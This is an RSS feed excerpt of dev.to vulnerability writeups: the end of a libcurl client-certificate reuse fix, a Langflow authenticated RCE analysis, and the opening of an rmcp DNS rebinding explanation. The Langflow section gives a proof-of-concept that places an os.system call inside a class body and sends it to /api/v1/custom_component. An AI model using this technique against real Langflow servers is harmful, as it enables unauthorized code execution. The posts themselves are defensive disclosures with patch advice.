                      &lt;span class="n"&gt;ssl_config&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;primary&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;key_type&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                      &lt;span class="n"&gt;ssl_config&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;primary&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;key_passwd&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;On the session-cache side, the fixed &lt;code&gt;":CCERT"&lt;/code&gt; marker was replaced with the actual &lt;code&gt;clientcert&lt;/code&gt; path value, so sessions using different client certificates can no longer share a cache entry. &lt;code&gt;clone_ssl_primary_config()&lt;/code&gt; and &lt;code&gt;free_primary_ssl_config()&lt;/code&gt; also gained clone/free logic (&lt;code&gt;CLONE_STRING&lt;/code&gt;, &lt;code&gt;CLONE_BLOB&lt;/code&gt;, &lt;code&gt;curlx_safefree&lt;/code&gt;) for the newly relocated fields. The fix was validated with two new test cases, 3303 and 3304.&lt;/p&gt;

&lt;h2&gt;
  
  
  Impact and Remediation
&lt;/h2&gt;

&lt;p&gt;This bug traces back to commit &lt;code&gt;a1d6ad2&lt;/code&gt; around curl 7.7 (roughly 2010) and existed for nearly 16 years before being fixed in curl 8.21.0. The &lt;code&gt;curl&lt;/code&gt; CLI itself is unaffected, since each invocation is a fresh process with its own connection pool. The exposure is limited to long-running applications that share a connection pool across multiple easy handles — via &lt;code&gt;CURLSH&lt;/code&gt; or a multi handle — while switching client-certificate credentials between them, such as a proxy or gateway that authenticates different users over mTLS.&lt;/p&gt;

&lt;p&gt;Remediation options:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Upgrade libcurl to 8.21.0 or later (recommended)&lt;/li&gt;
&lt;li&gt;If upgrading isn't possible yet, backport commit &lt;code&gt;7541ae5&lt;/code&gt; and rebuild&lt;/li&gt;
&lt;li&gt;As a temporary mitigation, avoid reusing handles when client-certificate credentials change — create a new handle instead&lt;/li&gt;
&lt;/ol&gt;

</description>
      <category>ubuntu</category>
      <category>python</category>
      <category>cve</category>
      <category>libcurl</category>
    </item>
    <item>
      <title>CVE-2026–17633 - Authenticated RCE in Langflow OSS via /api/v1/custom_component</title>
      <dc:creator>GUIDANCE WHITE</dc:creator>
      <pubDate>Mon, 21 Sep 2026 23:06:07 +0000</pubDate>
      <link>https://dev.to/guidance_white/cve-2026-17633-authenticated-rce-in-langflow-oss-via-apiv1customcomponent-5baj</link>
      <guid>https://dev.to/guidance_white/cve-2026-17633-authenticated-rce-in-langflow-oss-via-apiv1customcomponent-5baj</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fja16t2tmqge8tcawkb7n.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fja16t2tmqge8tcawkb7n.png" alt=" " width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Summary
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;CVE ID&lt;/td&gt;
&lt;td&gt;CVE-2026-17633&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CVSS&lt;/td&gt;
&lt;td&gt;8.5 (HIGH)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CWE&lt;/td&gt;
&lt;td&gt;CWE-94 (Improper Control of Generation of Code)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Affected&lt;/td&gt;
&lt;td&gt;Langflow OSS 1.0.0 – 1.10.3&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Preconditions&lt;/td&gt;
&lt;td&gt;Any authenticated user + &lt;code&gt;LANGFLOW_ALLOW_CUSTOM_COMPONENTS=true&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Vulnerable endpoint&lt;/td&gt;
&lt;td&gt;&lt;code&gt;POST /api/v1/custom_component&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Langflow is an open-source low-code platform for building LLM applications and agent workflows visually. One of its features, &lt;strong&gt;Custom Components&lt;/strong&gt;, lets users define a component's behavior directly in Python. That feature is the attack surface for this vulnerability.&lt;br&gt;
IBM's security advisory (published August 5, 2026) disclosed a cluster of issues in Langflow OSS 1.0.0–1.10.3. CVE-2026–17633 is the authenticated RCE reachable through &lt;code&gt;/api/v1/custom_component&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;
  
  
  Root Cause - Source-Level Analysis
&lt;/h2&gt;
&lt;h3&gt;
  
  
  1.1 The vulnerable endpoint
&lt;/h3&gt;

&lt;p&gt;From &lt;code&gt;langflow/api/v1/endpoints.py&lt;/code&gt; (around line 1271):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="nd"&gt;@router.post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/custom_component&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;status_code&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;HTTPStatus&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;OK&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;include_in_schema&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;False&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;custom_component&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="err"&gt;&amp;nbsp;&lt;/span&gt;&lt;span class="n"&gt;raw_code&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;CustomComponentRequest&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="err"&gt;&amp;nbsp;&lt;/span&gt;&lt;span class="n"&gt;user&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;CurrentActiveUser&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="err"&gt;&amp;nbsp;&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Request&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;CustomComponentResponse&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="err"&gt;&amp;nbsp;…&lt;/span&gt;
&lt;span class="err"&gt;&amp;nbsp;&lt;/span&gt;&lt;span class="c1"&gt;# The only gate: "is the custom-component feature enabled at all?"
&lt;/span&gt;&lt;span class="err"&gt;&amp;nbsp;&lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;settings&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;allow_custom_components&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="nf"&gt;code_hash_matches_any_template&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;raw_code&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;code&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;all_known&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="err"&gt;&amp;nbsp;&lt;/span&gt;&lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="nc"&gt;HTTPException&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;status_code&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;HTTP_403_FORBIDDEN&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="err"&gt;&amp;nbsp;…&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="c1"&gt;# scan_code_security() is never called here
&lt;/span&gt;&lt;span class="err"&gt;&amp;nbsp;&lt;/span&gt;&lt;span class="n"&gt;component&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;Component&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_code&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;effective_code&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="err"&gt;&amp;nbsp;&lt;/span&gt;&lt;span class="n"&gt;built_frontend_node&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;component_instance&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;build_custom_component_template&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;component&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;user_id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;user&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nb"&gt;id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The important detail isn't that there's "no validation" - it's that the validation checks the wrong thing. &lt;code&gt;allow_custom_components&lt;/code&gt; answers "is this user allowed to create custom components," not "is this code's content safe." In production, &lt;code&gt;LANGFLOW_ALLOW_CUSTOM_COMPONENTS=true&lt;/code&gt; is a common setting, and once it's on, this check passes trivially and the code flows through with zero content inspection.&lt;br&gt;
Langflow does ship a separate AST-based scanner, &lt;code&gt;scan_code_security()&lt;/code&gt; (covered in section 5), but this endpoint's execution path never calls it.&lt;/p&gt;
&lt;h3&gt;
  
  
  1.2 The actual bug lives in &lt;code&gt;prepare_global_scope()&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;custom_component()&lt;/code&gt; calls &lt;code&gt;build_custom_component_template()&lt;/code&gt;, which flows into &lt;code&gt;create_class()&lt;/code&gt; in &lt;code&gt;lfx/custom/validate.py&lt;/code&gt;. That function calls &lt;code&gt;prepare_global_scope()&lt;/code&gt;, and the submitted code is &lt;code&gt;exec()&lt;/code&gt;'d shortly after.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;prepare_global_scope&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;module&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="err"&gt;&amp;nbsp;&lt;/span&gt;&lt;span class="n"&gt;exec_globals&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;globals&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;copy&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="err"&gt;&amp;nbsp;…&lt;/span&gt;
&lt;span class="err"&gt;&amp;nbsp;&lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;node&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;module&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;body&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="err"&gt;&amp;nbsp;&lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nf"&gt;isinstance&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;node&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ast&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Import&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;ast&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ImportFrom&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="err"&gt;&amp;nbsp;&lt;/span&gt;&lt;span class="n"&gt;imports&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;node&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="err"&gt;&amp;nbsp;&lt;/span&gt;&lt;span class="k"&gt;elif&lt;/span&gt; &lt;span class="nf"&gt;isinstance&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;node&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ast&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ClassDef&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;ast&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;FunctionDef&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;ast&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Assign&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;ast&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;AnnAssign&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="err"&gt;&amp;nbsp;&lt;/span&gt;&lt;span class="n"&gt;definitions&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;node&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="err"&gt;&amp;nbsp;…&lt;/span&gt;
&lt;span class="err"&gt;&amp;nbsp;&lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;definitions&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="err"&gt;&amp;nbsp;&lt;/span&gt;&lt;span class="n"&gt;compiled_code&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;compile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;combined_module&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;&amp;lt;string&amp;gt;&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;exec&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="err"&gt;&amp;nbsp;&lt;/span&gt;&lt;span class="nf"&gt;exec&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;compiled_code&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;exec_globals&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# ← exec() happens here
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This function walks the submitted code's AST and only collects &lt;code&gt;import&lt;/code&gt; statements and &lt;code&gt;class&lt;/code&gt;/&lt;code&gt;def&lt;/code&gt;/assignment nodes into &lt;code&gt;definitions&lt;/code&gt;. That's the trap.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;A top-level statement like &lt;code&gt;os.system(…)&lt;/code&gt; is, at the AST level, an &lt;code&gt;ast.Expr&lt;/code&gt; node.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;ast.Expr&lt;/code&gt; isn't in the &lt;code&gt;isinstance&lt;/code&gt; allow-list above → it's &lt;strong&gt;silently dropped&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Code placed &lt;strong&gt;inside a class body&lt;/strong&gt;, however, is part of that &lt;code&gt;ClassDef&lt;/code&gt; node - so when the class is defined (i.e., when &lt;code&gt;exec()&lt;/code&gt; runs), that code executes right along with it.
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# ❌ Module level - classified as ast.Expr, silently dropped by prepare_global_scope()
&lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;
&lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;system&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;id &amp;gt; /tmp/pwned.txt&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;PocComponent&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Component&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="err"&gt;&amp;nbsp;…&lt;/span&gt;
&lt;span class="c1"&gt;# ✅ Inside the class body - part of ClassDef, runs when exec() defines the class
&lt;/span&gt;&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;PocComponent&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Component&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="err"&gt;&amp;nbsp;&lt;/span&gt;&lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;system&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;id &amp;gt; /tmp/pwned.txt&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# ← executes at class-definition time
&lt;/span&gt;&lt;span class="err"&gt;&amp;nbsp;…&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So the entire trick an attacker needs is: &lt;strong&gt;put the payload inside the class body, not at module level.&lt;/strong&gt; No encoding tricks, no filter bypass gymnastics - just a simple, and simply devastating, design flaw.&lt;/p&gt;

&lt;h2&gt;
  
  
  Exploit Chain
&lt;/h2&gt;

&lt;p&gt;The diagram below traces the full path from request to command execution.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fjpfwut5ytnon2my2o0ji.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fjpfwut5ytnon2my2o0ji.png" alt=" " width="800" height="1072"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;In short:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Authenticated user (any privilege level)
&amp;nbsp;│
&amp;nbsp;▼
POST /api/v1/custom_component { "code": "&amp;lt;malicious Python class&amp;gt;" }
&amp;nbsp;│
&amp;nbsp;▼
build_custom_component_template() → create_class()
&amp;nbsp;│
&amp;nbsp;▼
prepare_global_scope() - only ClassDef nodes get collected into definitions/exec target
&amp;nbsp;│
&amp;nbsp;▼
compile_class_code() → exec(compiled_class, exec_globals)
&amp;nbsp;│
&amp;nbsp;▼
Class body executes at definition time → RCE achieved
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;No LLM involvement, no scanner to evade. One HTTP request is enough.&lt;/p&gt;

&lt;p&gt;  &lt;iframe src="https://www.youtube.com/embed/_5FqnDGdNHc" width="710" height="399"&gt;
  &lt;/iframe&gt;
&lt;/p&gt;

&lt;h2&gt;
  
  
  Why the Scanner Didn't Catch This
&lt;/h2&gt;

&lt;p&gt;Langflow ships a separate AST-based scanner, &lt;code&gt;scan_code_security()&lt;/code&gt;, in &lt;code&gt;langflow/agentic/helpers/code_security.py&lt;/code&gt;. But it's wired only into the &lt;strong&gt;Agentic Assistant path&lt;/strong&gt; (validating LLM-generated component code) - it's never called from &lt;code&gt;/api/v1/custom_component&lt;/code&gt; at all.&lt;br&gt;
So CVE-2026–17633 isn't really a scanner bypass; it's exploiting a code path the scanner was never attached to in the first place. The scanner's own detection logic has a separate weakness (missing &lt;code&gt;vars()&lt;/code&gt; coverage leading to a false &lt;code&gt;is_safe: True&lt;/code&gt; verdict, tracked as CVE-2026–17632), which surfaced from analyzing the same codebase but is a distinct issue.&lt;/p&gt;

&lt;h2&gt;
  
  
  Patch and Mitigation
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Upgrade to Langflow 1.10.4+, which adds content validation to the &lt;code&gt;custom_component&lt;/code&gt; endpoint&lt;/li&gt;
&lt;li&gt;Keep &lt;code&gt;LANGFLOW_ALLOW_CUSTOM_COMPONENTS&lt;/code&gt; set to &lt;code&gt;false&lt;/code&gt; in production unless the feature is genuinely needed&lt;/li&gt;
&lt;li&gt;If custom components must be enabled, restrict which accounts can reach that feature&lt;/li&gt;
&lt;li&gt;Audit the group permissions of the container's runtime user (&lt;code&gt;gid=0&lt;/code&gt; membership) to reduce lateral-movement / container-escape surface&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>python</category>
      <category>security</category>
      <category>vulnerabilities</category>
      <category>ai</category>
    </item>
    <item>
      <title>CVE-2026-42559: DNS Rebinding in rmcp's Streamable HTTP Server Transport</title>
      <dc:creator>GUIDANCE WHITE</dc:creator>
      <pubDate>Sun, 20 Sep 2026 06:48:13 +0000</pubDate>
      <link>https://dev.to/guidance_white/cve-2026-42559-dns-rebinding-in-rmcps-streamable-http-server-transport-1nim</link>
      <guid>https://dev.to/guidance_white/cve-2026-42559-dns-rebinding-in-rmcps-streamable-http-server-transport-1nim</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fw2q9n8btais0jgqr7xnc.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fw2q9n8btais0jgqr7xnc.png" alt=" " width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Overview
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;CVE ID&lt;/td&gt;
&lt;td&gt;CVE-2026-42559&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Component&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;rmcp&lt;/code&gt; (official Rust SDK for the Model Context Protocol)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Vulnerable location&lt;/td&gt;
&lt;td&gt;&lt;code&gt;crates/rmcp/src/transport/streamable_http_server/tower.rs&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Affected versions&lt;/td&gt;
&lt;td&gt;&lt;code&gt;rmcp &amp;lt; 1.4.0&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Patched version&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;rmcp &amp;gt;= 1.4.0&lt;/code&gt; (commit &lt;code&gt;8e22aa2&lt;/code&gt;, PR #764)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CVSS 3.1&lt;/td&gt;
&lt;td&gt;8.8 (High) — &lt;code&gt;AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CWE&lt;/td&gt;
&lt;td&gt;CWE-346 (Origin Validation Error), CWE-350 (Reliance on Reverse DNS Resolution)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Vulnerability class&lt;/td&gt;
&lt;td&gt;DNS rebinding → local service access&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;code&gt;rmcp&lt;/code&gt; is Anthropic's official Rust SDK for the Model Context Protocol (MCP), implementing the transport layer between LLM clients and the MCP servers that expose tools to them. Servers built with this SDK almost always run on a developer's own machine (&lt;code&gt;127.0.0.1&lt;/code&gt;), exposing powerful tools — filesystem access, shell execution, browser control — over that loopback interface. The problem: prior to 1.4.0, the Streamable HTTP transport &lt;strong&gt;never validated the incoming &lt;code&gt;Host&lt;/code&gt; header at all&lt;/strong&gt;. That single missing check, combined with a DNS rebinding attack, is enough for a malicious web page to invoke arbitrary tools on a locally running MCP server the moment a victim opens it in a browser.&lt;/p&gt;

&lt;h2&gt;
  
  
  How DNS rebinding works here
&lt;/h2&gt;

&lt;p&gt;A browser's Same-Origin Policy (SOP) decides trust based on a &lt;strong&gt;domain name&lt;/strong&gt;, while the actual destination of a request is whatever IP DNS happens to resolve that name to at that moment. DNS rebinding attacks exploit exactly this gap.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;The attacker sets a very short DNS TTL (e.g. 1 second) on a domain they control (&lt;code&gt;attacker.example&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;When the victim visits it, the first DNS answer is a legitimate public IP, so the page loads normally.&lt;/li&gt;
&lt;li&gt;Once the TTL expires, in-page JavaScript re-requests the same domain — and this time the attacker's DNS answers with &lt;code&gt;127.0.0.1&lt;/code&gt; (or another private address).&lt;/li&gt;
&lt;li&gt;From the browser's perspective it's still the "same origin" (&lt;code&gt;attacker.example&lt;/code&gt;), so SOP is satisfied, but the TCP connection now actually goes to the victim's own machine.&lt;/li&gt;
&lt;li&gt;The HTTP request still carries &lt;code&gt;Host: attacker.example&lt;/code&gt;, but the server receiving it is the local MCP server started via rmcp.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;If the server had simply checked the &lt;code&gt;Host&lt;/code&gt; header against a list of names it recognizes (&lt;code&gt;localhost&lt;/code&gt;, &lt;code&gt;127.0.0.1&lt;/code&gt;, etc.) and rejected anything else, the attack would be stopped right at step 5. Prior to the patch, rmcp had no such check at all.&lt;/p&gt;

